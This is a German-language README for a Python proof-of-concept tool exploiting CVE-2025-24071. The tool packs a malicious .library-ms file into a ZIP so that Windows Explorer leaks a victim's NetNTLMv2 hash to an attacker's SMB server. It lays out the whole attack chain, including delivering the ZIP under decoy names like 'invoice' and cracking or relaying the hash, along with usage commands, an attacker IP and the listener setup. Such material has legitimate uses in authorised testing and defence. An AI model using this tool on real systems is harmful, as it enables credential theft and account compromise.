
Abhängigkeitsfreier Python-PoC-Generator für CVE-2025-24071, der eine bösartige .library-ms-Datei in einem ZIP erstellt, um die Offenlegung von Windows Explorer NTLM-Hashes auszulösen.
⚠️ Haftungsausschluss: Dieses Tool ist ausschließlich für Bildungszwecke und autorisierte Penetrationstests gedacht. Verwenden Sie es nur gegen Systeme, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Testgenehmigung besitzen. Unbefugte Nutzung ist illegal.
Der Windows File Explorer analysiert bestimmte Dateitypen automatisch, sobald sie in einer Ordneransicht erscheinen, ohne jegliche Benutzerinteraktion wie einen Doppelklick. Betroffene Versionen validieren .library-ms-Dateien nicht ordnungsgemäß, die einen Suchconnector definieren können, der auf einen beliebigen entfernten SMB-Pfad verweist.
Wenn der Explorer einen Ordner mit einer bösartigen .library-ms-Datei rendert (z. B. direkt nach dem Entpacken eines ZIP/RAR-Archivs), versucht er stillschweigend, sich mit dem vom Angreifer kontrollierten UNC-Pfad zu verbinden, um den „Library"-Speicherort aufzulösen. Dieser SMB-Verbindungsversuch überträgt den NetNTLMv2-Hash des Opfers, den ein Angreifer, der den Datenverkehr auf dem angegebenen Host abfängt (z. B. mit impacket-smbserver oder Responder), anschließend offline knacken oder relayen kann.
Dieses Repository enthält eine minimale, abhängigkeitsfreie Neuimplementierung eines öffentlichen PoC-Generators für diese Schwachstelle: Er erstellt die bösartige .library-ms-Datei und packt sie in ein ZIP, wobei ausschließlich die Python-Standardbibliothek verwendet wird.
Eine .library-ms-Datei ist ein XML-Dokument, das dem Windows Explorer mitteilt, den Inhalt eines entfernten oder lokalen Speicherorts als „Library" anzuzeigen. Ihr <simpleLocation><url>-Element kann auf einen UNC-Pfad (\\<host>\<share>) verweisen.
In betroffenen Versionen löst der Explorer diesen Speicherort auf, sobald der Ordner angezeigt wird — es ist kein Doppelklick oder eine explizite Aktion erforderlich, außer dass die Datei in einer Ordneransicht sichtbar ist (zum Beispiel direkt nach dem Entpacken eines Archivs, das sie enthält).
impacket-smbserver, Responder usw.)..library-ms-Datei wird generiert, die auf \\<attacker_ip>\<share> verweist.1. Start an SMB listener on the attacker machine
2. Generate a .library-ms file pointing to \\<attacker_ip>\<share>
3. Package it into a ZIP archive
4. Deliver the ZIP to the victim (upload feature, email, share, etc.)
5. Victim extracts the ZIP and Explorer renders the folder
6. Explorer resolves the UNC path -> SMB auth attempt -> NetNTLMv2 hash captured
7. Crack the hash offline (hashcat -m 5600) or relay it
os, sys, argparse, zipfile)Für das Generieren der Payload sind keine Drittanbieter-Abhängigkeiten erforderlich. Das Abfangen des Hashes erfordert auf Angreiferseite einen SMB-Listener wie Impacket (impacket-smbserver) oder Responder.
git clone https://github.com/BardLaudian/CVE-2025-24071.git
cd CVE-2025-24071
usage: cve_2025_24071.py [-h] [-n NAME] [-i IP] [-s SHARE] [-o OUTDIR] [-a]
options:
-n NAME, --name NAME Output base filename (no extension)
-i IP, --ip IP Attacker IP to embed as the UNC path target
-s SHARE, --share SHARE Share name (default: shared)
-o OUTDIR, --outdir OUTDIR Output directory (default: current dir)
-a, --affected-versions Print the list of affected Windows versions and exit
python3 cve_2025_24071.py -n invoice -i 10.10.14.5
Dies erzeugt invoice.zip, das invoice.library-ms mit Verweis auf \\10.10.14.5\shared enthält.
impacket-smbserver shared /tmp/smbshare -smb2support
python3 cve_2025_24071.py -n report -i 10.10.14.5 -s data -o ./payloads
python3 cve_2025_24071.py -a
.library-ms und ähnliche automatisch analysierte Dateitypen, bevor sie Endbenutzer-Workstations erreichen..library-ms-Generators, keine neue Exploit-Technik| Feld | Wert |
|---|
| CVE | CVE-2025-24071 |
| Betroffen | Windows 10 (1607–22H2), Windows 11 (22H2–24H2), Windows Server 2012 R2 – 2025 |
| Typ | Offenlegung sensibler Informationen gegenüber einem nicht autorisierten Akteur (CWE-200) |
| Berechtigungen | Keine (nicht authentifizierter Angreifer; erfordert, dass das Opfer die Datei anzeigt/entpackt) |
| Auswirkung | NetNTLMv2-Hash-Offenlegung → Offline-Cracking oder NTLM-Relay |
| CVSS | 7.5 Hoch (laut GitHub Advisory Database) / 6.5 (MSRC-Basis) |
| Patch | Kumulative Updates vom Patch Tuesday im März 2025 |